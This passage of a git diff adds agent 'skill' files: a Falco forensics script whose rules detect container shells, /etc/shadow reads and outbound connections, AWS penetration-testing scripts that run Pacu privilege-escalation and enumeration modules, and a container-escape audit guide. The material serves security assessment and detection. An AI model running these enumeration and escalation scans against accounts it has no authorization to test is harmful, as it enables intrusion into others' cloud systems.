https://github.com/falcosecurity/falcosidekick diff --git a/skills/performing-cloud-native-forensics-with-falco/scripts/agent.py b/skills/performing-cloud-native-forensics-with-falco/scripts/agent.py new file mode 100644 index 00000000..4bf74544 --- /dev/null +++ b/skills/performing-cloud-native-forensics-with-falco/scripts/agent.py @@ -0,0 +1,193 @@ +#!/usr/bin/env python3 +"""Agent for managing Falco rules and parsing alerts for container forensics.""" + +import os +import json +import argparse +from datetime import datetime +from collections import defaultdict +from pathlib import Path + +import yaml +import requests + + +FALCO_RULES = [ + { + "rule": "Shell Spawned in Container", + "desc": "Detect shell process started in a container", + "condition": "spawned_process and container and proc.name in (bash, sh, zsh, dash) " + "and not proc.pname in (docker-entrypo, supervisord, crond)", + "output": "Shell spawned (user=%user.name command=%proc.cmdline " + "container=%container.name image=%container.image.repository)", + "priority": "WARNING", + "tags": ["container", "shell", "mitre_execution"], + }, + { + "rule": "Sensitive File Access in Container", + "desc": "Detect read of sensitive files in container", + "condition": "open_read and container and fd.name in (/etc/shadow, /etc/passwd, " + "/etc/sudoers) and not proc.name in (su, sudo, login)", + "output": "Sensitive file read (file=%fd.name user=%user.name " + "container=%container.name)", + "priority": "WARNING", + "tags": ["container", "filesystem", "mitre_credential_access"], + }, + { + "rule": "Outbound Connection from Container", + "desc": "Detect unexpected outbound network connections from containers", + "condition": "evt.type=connect and fd.typechar=4 and fd.ip != 0.0.0.0 " + "and container and not fd.snet in (10.0.0.0/8, 172.16.0.0/12, " + "192.168.0.0/16)", + "output": "Outbound connection (command=%proc.cmdline dest=%fd.name " + "container=%container.name)", + "priority": "NOTICE", + "tags": ["container", "network", "mitre_command_and_control"], + }, + { + "rule": "Privilege Escalation in Container", + "desc": "Detect setuid/setgid calls in container", + "condition": "evt.type in (setuid, setgid) and container " + "and not user.name=root", + "output": "Privilege escalation attempt (user=%user.name command=%proc.cmdline " + "container=%container.name)", + "priority": "CRITICAL", + "tags": ["container", "privilege_escalation", "mitre_privilege_escalation"], + }, + { + "rule": "Container Escape Attempt via Mount", + "desc": "Detect mount syscall in container indicating escape attempt", + "condition": "evt.type=mount and container", + "output": "Mount in container (user=%user.name command=%proc.cmdline " + "container=%container.name)", + "priority": "CRITICAL", + "tags": ["container", "escape", "mitre_privilege_escalation"], + }, +] + + +def generate_falco_rules(output_path, custom_rules=None): + """Generate Falco rules YAML file.""" + rules = custom_rules or FALCO_RULES + with open(output_path, "w") as f: + yaml.dump(rules, f, default_flow_style=False, sort_keys=False) + return len(rules) + + +def parse_falco_alerts(alert_file): + """Parse Falco JSON alert output file.""" + alerts = [] + with open(alert_file) as f: + for line in f: + line = line.strip() + if not line: + continue + try: + alert = json.loads(line) + alerts.append({ + "time": alert.get("time", ""), + "rule": alert.get("rule", ""), + "priority": alert.get("priority", ""), + "output": alert.get("output", ""), + "output_fields": alert.get("output_fields", {}), + "source": alert.get("source", ""), + "tags": alert.get("tags", []), + }) + except json.JSONDecodeError: + continue + return alerts + + +def summarize_alerts(alerts): + """Generate alert summary statistics.""" + by_rule = defaultdict(int) + by_priority = defaultdict(int) + by_container = defaultdict(int) + for alert in alerts: + by_rule[alert["rule"]] += 1 + by_priority[alert["priority"]] += 1 + container = alert.get("output_fields", {}).get("container.name", "unknown") + by_container[container] += 1 + return { + "total_alerts": len(alerts), + "by_rule": dict(by_rule), + "by_priority": dict(by_priority), + "by_container": dict(sorted(by_container.items(), key=lambda x: -x[1])[:20]), + } + + +def check_falco_health(falco_url="http://localhost:8765"): + """Check Falco health via HTTP endpoint.""" + try: + resp = requests.get(f"{falco_url}/healthz", timeout=5) + return {"status": "healthy" if resp.status_code == 200 else "unhealthy", + "code": resp.status_code} + except requests.RequestException as e: + return {"status": "unreachable", "error": str(e)} + + +def get_falco_version(falco_url="http://localhost:8765"): + """Get Falco version information.""" + try: + resp = requests.get(f"{falco_url}/version", timeout=5) + return resp.json() + except requests.RequestException as e: + return {"error": str(e)} + + +def correlate_alerts_with_k8s(alerts, suspicious_images=None): + """Correlate Falco alerts with known suspicious container images.""" + if not suspicious_images: + suspicious_images = [] + correlated = [] + for alert in alerts: + fields = alert.get("output_fields", {}) + image = fields.get("container.image.repository", "") + if any(s in image for s in suspicious_images): + alert["correlation"] = "suspicious_image" + correlated.append(alert) + elif alert["priority"] in ("CRITICAL", "ERROR"): + correlated.append(alert) + return correlated + + +def main(): + parser = argparse.ArgumentParser(description="Falco Cloud Native Forensics Agent") + parser.add_argument("--alert-file", help="Path to Falco JSON alert log") + parser.add_argument("--rules-output", default="custom_falco_rules.yaml") + parser.add_argument("--falco-url", default="http://localhost:8765") + parser.add_argument("--output", default="falco_report.json") + parser.add_argument("--action", choices=[ + "generate_rules", "parse_alerts", "health", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("generate_rules", "full_analysis"): + count = generate_falco_rules(args.rules_output) + report["findings"]["rules_generated"] = count + print(f"[+] Generated {count} Falco rules to {args.rules_output}") + + if args.action in ("parse_alerts", "full_analysis") and args.alert_file: + alerts = parse_falco_alerts(args.alert_file) + summary = summarize_alerts(alerts) + report["findings"]["alert_summary"] = summary + report["findings"]["critical_alerts"] = [ + a for a in alerts if a["priority"] in ("CRITICAL", "ERROR") + ] + print(f"[+] Parsed {summary['total_alerts']} alerts") + print(f" Critical: {summary['by_priority'].get('CRITICAL', 0)}") + + if args.action in ("health", "full_analysis"): + health = check_falco_health(args.falco_url) + report["findings"]["falco_health"] = health + print(f"[+] Falco health: {health['status']}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/performing-cloud-penetration-testing-with-pacu/LICENSE b/skills/performing-cloud-penetration-testing-with-pacu/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cloud-penetration-testing-with-pacu/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md b/skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md new file mode 100644 index 00000000..bdd9edc1 --- /dev/null +++ b/skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Performing Cloud Penetration Testing with Pacu + +## Pacu CLI Commands + +| Command | Description | +|---------|-------------| +| `pacu --new-session ` | Create a new Pacu session | +| `pacu --session --module-name ` | Run a specific module | +| `pacu --session --list-modules` | List all available modules | +| `pacu --session --module-name --module-args ""` | Run module with arguments | + +## Pacu IAM Modules + +| Module | Description | +|--------|-------------| +| `iam__enum_users_roles_policies_groups` | Full IAM enumeration | +| `iam__privesc_scan` | Scan for 21+ privilege escalation vectors | +| `iam__backdoor_users_keys` | Test ability to create access keys | +| `iam__backdoor_assume_role` | Test role assumption capabilities | + +## Pacu Enumeration Modules + +| Module | Description | +|--------|-------------| +| `ec2__enum` | Enumerate EC2 instances, security groups, and VPCs | +| `s3__enum` | Enumerate S3 buckets and check permissions | +| `lambda__enum` | Enumerate Lambda functions and configurations | +| `secretsmanager__enum` | Enumerate Secrets Manager secrets | + +## boto3 Fallback Methods + +| Method | Description | +|--------|-------------| +| `sts.get_caller_identity()` | Identify current credentials | +| `iam.list_users()` | Enumerate IAM users | +| `iam.get_policy_version()` | Analyze policy documents | + +## Key Libraries + +- **pacu** (`pip install pacu`): AWS exploitation framework by Rhino Security Labs +- **boto3** (`pip install boto3`): AWS SDK for direct API enumeration fallback +- **subprocess** (stdlib): Execute Pacu modules as subprocesses + +## Configuration + +| Variable | Description | +|----------|-------------| +| `AWS_PROFILE` | AWS CLI profile with test credentials | +| `AWS_ACCESS_KEY_ID` | Access key for Pacu session | +| `AWS_SECRET_ACCESS_KEY` | Secret key for Pacu session | +| `AWS_DEFAULT_REGION` | Default AWS region | + +## Pacu Session Data + +| File | Description | +|------|-------------| +| `~/.pacu/sessions//` | Session directory with enumerated data | +| `~/.pacu/sessions//downloads/` | Downloaded files from modules | + +## References + +- [Pacu GitHub](https://github.com/RhinoSecurityLabs/pacu) +- [Pacu Wiki](https://github.com/RhinoSecurityLabs/pacu/wiki) +- [Rhino Security: AWS Privilege Escalation](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [AWS Penetration Testing Policy](https://aws.amazon.com/security/penetration-testing/) diff --git a/skills/performing-cloud-penetration-testing-with-pacu/scripts/agent.py b/skills/performing-cloud-penetration-testing-with-pacu/scripts/agent.py new file mode 100644 index 00000000..4f10ff07 --- /dev/null +++ b/skills/performing-cloud-penetration-testing-with-pacu/scripts/agent.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python3 +""" +AWS Penetration Testing with Pacu Agent — AUTHORIZED TESTING ONLY +Automates Pacu module execution for AWS security assessment including +IAM enumeration, privilege escalation scanning, and credential testing. + +WARNING: Only use with explicit written authorization on approved AWS accounts. +""" + +import json +import subprocess +import sys +from datetime import datetime, timezone + +import boto3 +from botocore.exceptions import ClientError + + +def run_pacu_module(module_name: str, session_name: str = "pentest", args: str = "") -> dict: + """Execute a Pacu module via subprocess.""" + cmd = ["pacu", "--session", session_name, "--module-name", module_name] + if args: + cmd.extend(["--module-args", args]) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + return { + "module": module_name, + "success": result.returncode == 0, + "output": result.stdout[-2000:] if result.stdout else "", + "error": result.stderr[-500:] if result.stderr else "", + } + except subprocess.TimeoutExpired: + return {"module": module_name, "success": False, "error": "Module timed out (300s)"} + except FileNotFoundError: + return {"module": module_name, "success": False, "error": "Pacu not installed. Install with: pip install pacu"} + + +def enumerate_iam_with_boto(profile: str = None) -> dict: + """Fallback IAM enumeration using boto3 when Pacu is unavailable.""" + session = boto3.Session(profile_name=profile) if profile else boto3.Session() + iam = session.client("iam") + sts = session.client("sts") + + identity = sts.get_caller_identity() + result = { + "identity": { + "account": identity["Account"], + "arn": identity["Arn"], + }, + "users": [], + "roles": [], + "policies": [], + } + + try: + for page in iam.get_paginator("list_users").paginate(): + for user in page["Users"]: + attached = iam.list_attached_user_policies(UserName=user["UserName"]) + result["users"].append({ + "username": user["UserName"], + "arn": user["Arn"], + "policies": [p["PolicyArn"] for p in attached["AttachedPolicies"]], + }) + except ClientError as e: + result["users_error"] = str(e) + + try: + for page in iam.get_paginator("list_roles").paginate(): + for role in page["Roles"]: + result["roles"].append({ + "name": role["RoleName"], + "arn": role["Arn"], + "trust_policy": role.get("AssumeRolePolicyDocument", {}), + }) + except ClientError as e: + result["roles_error"] = str(e) + + return result + + +def scan_privilege_escalation(iam_data: dict) -> list[dict]: + """Identify privilege escalation paths from IAM enumeration data.""" + escalation_vectors = [] + dangerous_actions = { + "iam:CreatePolicyVersion", "iam:SetDefaultPolicyVersion", + "iam:AttachUserPolicy", "iam:AttachRolePolicy", + "iam:PutUserPolicy", "iam:PutRolePolicy", + "iam:AddUserToGroup", "iam:UpdateAssumeRolePolicy", + "iam:PassRole", "iam:CreateLoginProfile", + "lambda:CreateFunction", "lambda:UpdateFunctionCode", + } + + iam_client = boto3.client("iam") + + for user in iam_data.get("users", []): + user_dangerous = [] + for policy_arn in user.get("policies", []): + try: + policy = iam_client.get_policy(PolicyArn=policy_arn) + version = iam_client.get_policy_version( + PolicyArn=policy_arn, + VersionId=policy["Policy"]["DefaultVersionId"], + ) + doc = version["PolicyVersion"]["Document"] + for stmt in doc.get("Statement", []): + if stmt.get("Effect") != "Allow": + continue + actions = stmt.get("Action", []) + if isinstance(actions, str): + actions = [actions] + for action in actions: + if action == "*" or action in dangerous_actions: + user_dangerous.append({"action": action, "policy": policy_arn}) + except ClientError: + continue + + if user_dangerous: + escalation_vectors.append({ + "principal": user["username"], + "type": "user", + "vectors": user_dangerous, + "risk": "CRITICAL" if any(v["action"] == "*" for v in user_dangerous) else "HIGH", + }) + + return escalation_vectors + + +def test_credential_access(region: str = "us-east-1") -> dict: + """Test what services the current credentials can access.""" + services_to_test = [ + ("sts", "get_caller_identity", {}), + ("s3", "list_buckets", {}), + ("ec2", "describe_instances", {}), + ("iam", "list_users", {}), + ("lambda", "list_functions", {}), + ("secretsmanager", "list_secrets", {}), + ("ssm", "describe_parameters", {}), + ] + + accessible = [] + denied = [] + + for service, method, kwargs in services_to_test: + try: + client = boto3.client(service, region_name=region) + getattr(client, method)(**kwargs) + accessible.append(service) + except ClientError as e: + if e.response["Error"]["Code"] in ("AccessDenied", "AccessDeniedException", "UnauthorizedAccess"): + denied.append(service) + else: + accessible.append(service) + except Exception: + denied.append(service) + + return {"accessible_services": accessible, "denied_services": denied} + + +def generate_report(iam_data: dict, escalation: list, access: dict, pacu_results: list) -> str: + """Generate Pacu penetration testing report.""" + lines = [ + "AWS PENETRATION TESTING (PACU) REPORT — AUTHORIZED TESTING ONLY", + "=" * 65, + f"Account: {iam_data.get('identity', {}).get('account', 'N/A')}", + f"Identity: {iam_data.get('identity', {}).get('arn', 'N/A')}", + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + "SERVICE ACCESS:", + f" Accessible: {', '.join(access.get('accessible_services', []))}", + f" Denied: {', '.join(access.get('denied_services', []))}", + "", + f"IAM ENUMERATION:", + f" Users Found: {len(iam_data.get('users', []))}", + f" Roles Found: {len(iam_data.get('roles', []))}", + "", + f"PRIVILEGE ESCALATION VECTORS: {len(escalation)}", + "-" * 40, + ] + + for esc in escalation: + lines.append(f" [{esc['risk']}] {esc['principal']} ({esc['type']})") + for v in esc["vectors"][:5]: + lines.append(f" - {v['action']} via {v['policy']}") + + if pacu_results: + lines.extend(["", "PACU MODULE RESULTS:"]) + for pr in pacu_results: + status = "OK" if pr["success"] else "FAIL" + lines.append(f" [{status}] {pr['module']}") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] AWS PENTEST WITH PACU — AUTHORIZED TESTING ONLY\n") + + region = sys.argv[1] if len(sys.argv) > 1 else "us-east-1" + session_name = sys.argv[2] if len(sys.argv) > 2 else "pentest" + + print("[*] Testing credential access scope...") + access = test_credential_access(region) + + print("[*] Enumerating IAM...") + iam_data = enumerate_iam_with_boto() + + print("[*] Scanning for privilege escalation vectors...") + escalation = scan_privilege_escalation(iam_data) + + pacu_results = [] + pacu_modules = [ + "iam__enum_users_roles_policies_groups", + "iam__privesc_scan", + "ec2__enum", + "s3__enum", + "lambda__enum", + ] + for module in pacu_modules: + print(f"[*] Running Pacu module: {module}") + result = run_pacu_module(module, session_name) + pacu_results.append(result) + + report = generate_report(iam_data, escalation, access, pacu_results) + print(report) + + output = f"pacu_pentest_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"iam": iam_data, "escalation": escalation, "access": access, + "pacu_results": pacu_results}, f, indent=2, default=str) + print(f"\n[*] Results saved to {output}") diff --git a/skills/performing-cloud-penetration-testing/LICENSE b/skills/performing-cloud-penetration-testing/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cloud-penetration-testing/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-cloud-penetration-testing/references/api-reference.md b/skills/performing-cloud-penetration-testing/references/api-reference.md new file mode 100644 index 00000000..edd151ab --- /dev/null +++ b/skills/performing-cloud-penetration-testing/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Performing Cloud Penetration Testing + +## AWS S3 API (boto3) + +| Method | Description | +|--------|-------------| +| `s3.list_buckets()` | Enumerate all S3 buckets in account | +| `s3.get_bucket_acl(Bucket)` | Check bucket ACL for public grants | +| `s3.get_bucket_policy(Bucket)` | Get bucket policy for public access | +| `s3.get_bucket_encryption(Bucket)` | Check default encryption status | + +## AWS EC2 API + +| Method | Description | +|--------|-------------| +| `ec2.describe_security_groups()` | Enumerate security groups and ingress rules | +| `ec2.describe_instances()` | List instances with metadata options (IMDSv1/v2) | +| `ec2.describe_network_interfaces()` | Enumerate ENIs and public IPs | + +## AWS Lambda API + +| Method | Description | +|--------|-------------| +| `lambda.list_functions()` | Enumerate Lambda functions | +| `lambda.get_function(FunctionName)` | Get function config including env vars | +| `lambda.get_policy(FunctionName)` | Get resource-based policy | + +## AWS IAM API + +| Method | Description | +|--------|-------------| +| `iam.list_users()` | Enumerate IAM users | +| `iam.list_roles()` | Enumerate IAM roles and trust policies | +| `iam.get_policy_version()` | Analyze policy documents | + +## Key Libraries + +- **boto3** (`pip install boto3`): AWS SDK for all service enumeration +- **ScoutSuite** (`pip install scoutsuite`): Multi-cloud security auditing tool +- **prowler**: AWS/Azure/GCP security best practices assessment +- **cloudfox**: Cloud penetration testing enumeration + +## Configuration + +| Variable | Description | +|----------|-------------| +| `AWS_PROFILE` | AWS CLI profile with test credentials | +| `AWS_DEFAULT_REGION` | Target AWS region | + +## References + +- [AWS Penetration Testing Policy](https://aws.amazon.com/security/penetration-testing/) +- [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite) +- [Prowler](https://github.com/prowler-cloud/prowler) +- [CloudFox](https://github.com/BishopFox/cloudfox) +- [HackTricks Cloud](https://cloud.hacktricks.xyz/) diff --git a/skills/performing-cloud-penetration-testing/scripts/agent.py b/skills/performing-cloud-penetration-testing/scripts/agent.py new file mode 100644 index 00000000..c91cefa6 --- /dev/null +++ b/skills/performing-cloud-penetration-testing/scripts/agent.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 +""" +Cloud Penetration Testing Agent — AUTHORIZED TESTING ONLY +Performs authorized cloud infrastructure security assessment across AWS +by enumerating IAM, S3, EC2, and Lambda for misconfigurations. + +WARNING: Only use with explicit written authorization on approved accounts. +""" + +import json +import sys +from datetime import datetime, timezone + +import boto3 +from botocore.exceptions import ClientError + + +def enumerate_s3_buckets() -> list[dict]: + """Enumerate S3 buckets and check for public access misconfigurations.""" + s3 = boto3.client("s3") + findings = [] + + try: + buckets = s3.list_buckets()["Buckets"] + except ClientError as e: + return [{"error": str(e)}] + + for bucket in buckets: + name = bucket["Name"] + finding = {"bucket": name, "issues": []} + + try: + acl = s3.get_bucket_acl(Bucket=name) + for grant in acl.get("Grants", []): + grantee = grant.get("Grantee", {}) + if grantee.get("URI") in ( + "http://acs.amazonaws.com/groups/global/AllUsers", + "http://acs.amazonaws.com/groups/global/AuthenticatedUsers", + ): + finding["issues"].append({ + "type": "PUBLIC_ACL", + "severity": "HIGH", + "detail": f"Bucket grants {grant['Permission']} to {grantee['URI']}", + }) + except ClientError: + pass + + try: + policy = s3.get_bucket_policy(Bucket=name) + policy_doc = json.loads(policy["Policy"]) + for stmt in policy_doc.get("Statement", []): + if stmt.get("Effect") == "Allow" and stmt.get("Principal") in ("*", {"AWS": "*"}): + finding["issues"].append({ + "type": "PUBLIC_POLICY", + "severity": "HIGH", + "detail": f"Policy allows public access: {stmt.get('Action')}", + }) + except ClientError: + pass + + try: + encryption = s3.get_bucket_encryption(Bucket=name) + except ClientError: + finding["issues"].append({ + "type": "NO_ENCRYPTION", + "severity": "MEDIUM", + "detail": "Bucket does not have default encryption enabled", + }) + + findings.append(finding) + + return findings + + +def enumerate_security_groups(region: str = "us-east-1") -> list[dict]: + """Enumerate EC2 security groups for overly permissive rules.""" + ec2 = boto3.client("ec2", region_name=region) + findings = [] + + sgs = ec2.describe_security_groups()["SecurityGroups"] + for sg in sgs: + sg_issues = [] + for perm in sg.get("IpPermissions", []): + for ip_range in perm.get("IpRanges", []): + if ip_range.get("CidrIp") == "0.0.0.0/0": + port = perm.get("FromPort", "all") + proto = perm.get("IpProtocol", "all") + severity = "CRITICAL" if port in (22, 3389, 3306, 5432) else "HIGH" + sg_issues.append({ + "type": "OPEN_INGRESS", + "severity": severity, + "detail": f"Port {port}/{proto} open to 0.0.0.0/0", + }) + + if sg_issues: + findings.append({ + "sg_id": sg["GroupId"], + "sg_name": sg.get("GroupName", ""), + "vpc_id": sg.get("VpcId", ""), + "issues": sg_issues, + }) + + return findings + + +def enumerate_lambda_functions(region: str = "us-east-1") -> list[dict]: + """Enumerate Lambda functions for security misconfigurations.""" + lam = boto3.client("lambda", region_name=region) + findings = [] + + try: + functions = lam.list_functions()["Functions"] + except ClientError as e: + return [{"error": str(e)}] + + for func in functions: + func_finding = {"function_name": func["FunctionName"], "issues": []} + + env_vars = func.get("Environment", {}).get("Variables", {}) + sensitive_patterns = ["password", "secret", "key", "token", "api_key"] + for var_name in env_vars: + if any(p in var_name.lower() for p in sensitive_patterns): + func_finding["issues"].append({ + "type": "SENSITIVE_ENV_VAR", + "severity": "HIGH", + "detail": f"Potentially sensitive env var: {var_name}", + }) + + if not func.get("VpcConfig", {}).get("VpcId"): + func_finding["issues"].append({ + "type": "NO_VPC", + "severity": "LOW", + "detail": "Function not in VPC - has internet access", + }) + + if func_finding["issues"]: + findings.append(func_finding) + + return findings + + +def check_imds_v1(region: str = "us-east-1") -> list[dict]: + """Check EC2 instances for IMDSv1 (vulnerable to SSRF attacks).""" + ec2 = boto3.client("ec2", region_name=region) + findings = [] + + instances = ec2.describe_instances() + for reservation in instances["Reservations"]: + for inst in reservation["Instances"]: + metadata_options = inst.get("MetadataOptions", {}) + if metadata_options.get("HttpTokens") != "required": + findings.append({ + "instance_id": inst["InstanceId"], + "state": inst["State"]["Name"], + "severity": "HIGH", + "detail": "IMDSv1 enabled - vulnerable to SSRF credential theft", + }) + + return findings + + +def generate_report(s3: list, sgs: list, lambdas: list, imds: list) -> str: + """Generate cloud penetration testing report.""" + total_issues = ( + sum(len(b.get("issues", [])) for b in s3) + + sum(len(s.get("issues", [])) for s in sgs) + + sum(len(l.get("issues", [])) for l in lambdas) + + len(imds) + ) + + lines = [ + "CLOUD PENETRATION TESTING REPORT — AUTHORIZED TESTING ONLY", + "=" * 60, + f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + f"Total Findings: {total_issues}", + "", + f"S3 BUCKETS ({len(s3)} scanned):", + ] + for b in s3: + if b.get("issues"): + for issue in b["issues"]: + lines.append(f" [{issue['severity']}] {b['bucket']}: {issue['detail']}") + + lines.append(f"\nSECURITY GROUPS ({len(sgs)} with issues):") + for sg in sgs: + for issue in sg["issues"]: + lines.append(f" [{issue['severity']}] {sg['sg_id']}: {issue['detail']}") + + lines.append(f"\nLAMBDA FUNCTIONS ({len(lambdas)} with issues):") + for l in lambdas: + for issue in l["issues"]: + lines.append(f" [{issue['severity']}] {l['function_name']}: {issue['detail']}") + + lines.append(f"\nIMDSv1 INSTANCES ({len(imds)} vulnerable):") + for i in imds: + lines.append(f" [{i['severity']}] {i['instance_id']}: {i['detail']}") + + return "\n".join(lines) + + +if __name__ == "__main__": + print("[!] CLOUD PENETRATION TESTING — AUTHORIZED TESTING ONLY\n") + region = sys.argv[1] if len(sys.argv) > 1 else "us-east-1" + + print("[*] Enumerating S3 buckets...") + s3_findings = enumerate_s3_buckets() + + print("[*] Enumerating security groups...") + sg_findings = enumerate_security_groups(region) + + print("[*] Enumerating Lambda functions...") + lambda_findings = enumerate_lambda_functions(region) + + print("[*] Checking IMDSv1 exposure...") + imds_findings = check_imds_v1(region) + + report = generate_report(s3_findings, sg_findings, lambda_findings, imds_findings) + print(report) + + output = f"cloud_pentest_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"s3": s3_findings, "security_groups": sg_findings, + "lambda": lambda_findings, "imds": imds_findings}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/performing-cloud-storage-forensic-acquisition/LICENSE b/skills/performing-cloud-storage-forensic-acquisition/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-cloud-storage-forensic-acquisition/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-container-escape-detection/LICENSE b/skills/performing-container-escape-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-container-escape-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-container-escape-detection/SKILL.md b/skills/performing-container-escape-detection/SKILL.md new file mode 100644 index 00000000..ee6a14d8 --- /dev/null +++ b/skills/performing-container-escape-detection/SKILL.md @@ -0,0 +1,44 @@ +--- +name: performing-container-escape-detection +description: > + Detects container escape attempts by analyzing namespace configurations, privileged + container checks, dangerous capability assignments, and host path mounts using the + kubernetes Python client. Identifies CVE-2022-0492 style escapes via cgroup abuse. + Use when auditing container security posture or investigating escape attempts. +--- + +# Performing Container Escape Detection + +## Instructions + +Audit Kubernetes pods for container escape vectors including privileged mode, +dangerous capabilities, host namespace sharing, and writable hostPath mounts. + +```python +from kubernetes import client, config +config.load_kube_config() +v1 = client.CoreV1Api() + +pods = v1.list_pod_for_all_namespaces() +for pod in pods.items: + for container in pod.spec.containers: + sc = container.security_context + if sc and sc.privileged: + print(f"PRIVILEGED: {pod.metadata.namespace}/{pod.metadata.name}") +``` + +Key escape vectors: +1. Privileged containers (full host access) +2. CAP_SYS_ADMIN capability +3. Host PID/Network/IPC namespace sharing +4. Writable hostPath mounts to / or /etc +5. Docker socket mount (/var/run/docker.sock) + +## Examples + +```python +# Check for docker socket mounts +for vol in pod.spec.volumes or []: + if vol.host_path and "docker.sock" in (vol.host_path.path or ""): + print(f"Docker socket exposed: {pod.metadata.name}") +``` diff --git a/skills/performing-container-escape-detection/references/api-reference.md b/skills/performing-container-escape-detection/references/api-reference.md new file mode 100644 index 00000000..474aeefc --- /dev/null +++ b/skills/performing-container-escape-detection/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Performing Container Escape Detection + +## kubernetes Python Client + +```python +from kubernetes import client, config + 